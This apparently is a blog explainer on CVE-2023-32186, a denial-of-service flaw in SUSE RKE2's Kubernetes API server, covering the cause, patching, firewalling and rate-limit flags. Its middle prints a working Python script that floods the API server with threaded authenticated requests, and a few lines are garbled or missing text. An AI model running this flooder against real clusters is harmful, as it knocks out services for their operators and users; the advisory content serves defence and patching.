Kubernetes is powerful, but when resource allocation goes wrong, even a small bug can cause your whole cluster to grind to a halt. That’s exactly what happened with CVE-2023-32186—a nasty vulnerability in SUSE RKE2’s handling of API server traffic. If you run RKE2 and haven’t patched, you could be at serious risk of a Denial of Service (DoS) attack.

In simple terms: An attacker can flood your cluster’s API server with requests, eating up all of its resources, and there’s nothing in the default config to stop it.

What is CVE-2023-32186?

CVE-2023-32186 is officially described as an Allocation of Resources Without Limits or Throttling flaw. Here’s what that means:

Kubernetes clusters managed by SUSE RKE2 (which internally uses K3s) leave their Kubernetes API server (“apiserver”) wide open on port TCP 6443. The API server is responsible for handling all the commands sent to the cluster. If these requests pile up, and the server doesn’t put any brakes on how many it will try to handle, bad actors can overload it.

SUSE’s advisory: SUSE Security Announcement: CVE-2023-32186

1.28. _before_ 1.28.1+rke2r1

If your API server is exposed (even on an internal network), and someone can reach port 6443, you are in the danger zone.

Consume all CPU and memory assigned to the apiserver process.

3. Cause Denial of Service—legit users and cluster services can no longer interact with Kubernetes at all.

How An Attacker Can Exploit CVE-2023-32186

Attackers don’t need admin rights. If they can authenticate to the API or get network access to the 6443 port, they can write a script or use a tool to hammer the API with a torrent of requests (even simple GETs are enough).

A compromised developer workstation on the same VPN as your cluster

- A malicious automated process running inside a container in the cluster but outside of the core system namespaces

> Note: If you have *RBAC* controls set up but very broad list/read permissions, even low-privilege API access can be abused.

Here’s a Python script using requests to overload the API server by listing pods repeatedly

import requests
import threading

API_SERVER = "https://YOUR-API-SERVER:6443";
TOKEN = "YOUR_K8S_BEARER_TOKEN"  # ServiceAccount token works!
N_THREADS = 100

headers = {
    "Authorization": f"Bearer {TOKEN}",
}

def hammer_api():
    while True:
        # Could be any cheap API call
        r = requests.get(f"{API_SERVER}/api/v1/pods", headers=headers, verify=False)
        print(r.status_code)

threads = []
for _ in range(N_THREADS):
    t = threading.Thread(target=hammer_api)
    t.daemon = True
    t.start()

# Let it run indefinitely
input("Press Enter to stop...\n")

What happens:

Very soon, legitimate requests get slow, then completely fail.

You could customize this for nodes, services, or any resource.

> Warning: Don’t run this against any server you don’t own/administer! This is for educational use only.

How Can You Prevent This?

1. Patch Immediately!

Check your version with

rke2 --version

2. Lock Down Access to Port 6443
- Use firewalls (iptables, security groups) so only trusted subnets can reach the K3s apiserver/supervisor port.

Don’t expose your cluster API publicly.

3. Use Authentication/RBAC
- Limit what users and service accounts can list/read at the cluster level.

Use network policies to restrict pod-to-API traffic.

4. Enable API Rate Limiting
Recent Kubernetes releases let you set API server rate limits.

Add these flags to kube-apiserver startup (or RKE2 equivalents)

--max-requests-inflight=400
--max-mutating-requests-inflight=200

Tune these numbers for your environment. See Kubernetes API Server Flags.

Watch for API server logs reporting out-of-resource errors or liveness probe failures.

If you see service workloads starve/timeout or if kubectl get pods begins to hang, you might still be exposed.

References & Further Reading

- NIST NVD: CVE-2023-32186
- SUSE Security Advisory: CVE-2023-32186
- RKE2 Changelog
- Kubernetes API Server Rate Limiting Docs
- Kubernetes Hardening Guide (CISA, NSA)

Conclusion

CVE-2023-32186 is a textbook example of how forgetting to limit API server resources can turn into a full cluster outage. Always keep your clusters up-to-date, actively monitor access to your apiserver, and enable rate limiting where possible. Even then, assume your internal network isn’t as safe as you’d like—and build in defense in depth!

If you found this guide useful or have questions, drop a comment below.

Timeline

Published on: 09/19/2023 10:15:00 UTC
Last modified on: 09/22/2023 02:00:00 UTC